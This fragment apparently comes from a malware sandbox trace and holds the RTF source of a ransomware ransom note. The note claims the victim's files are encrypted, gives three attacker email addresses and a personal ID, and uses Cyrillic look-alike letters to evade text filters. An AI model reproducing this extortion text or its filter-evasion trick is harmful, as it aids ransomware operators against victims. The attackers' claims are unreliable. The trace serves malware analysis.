\\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir 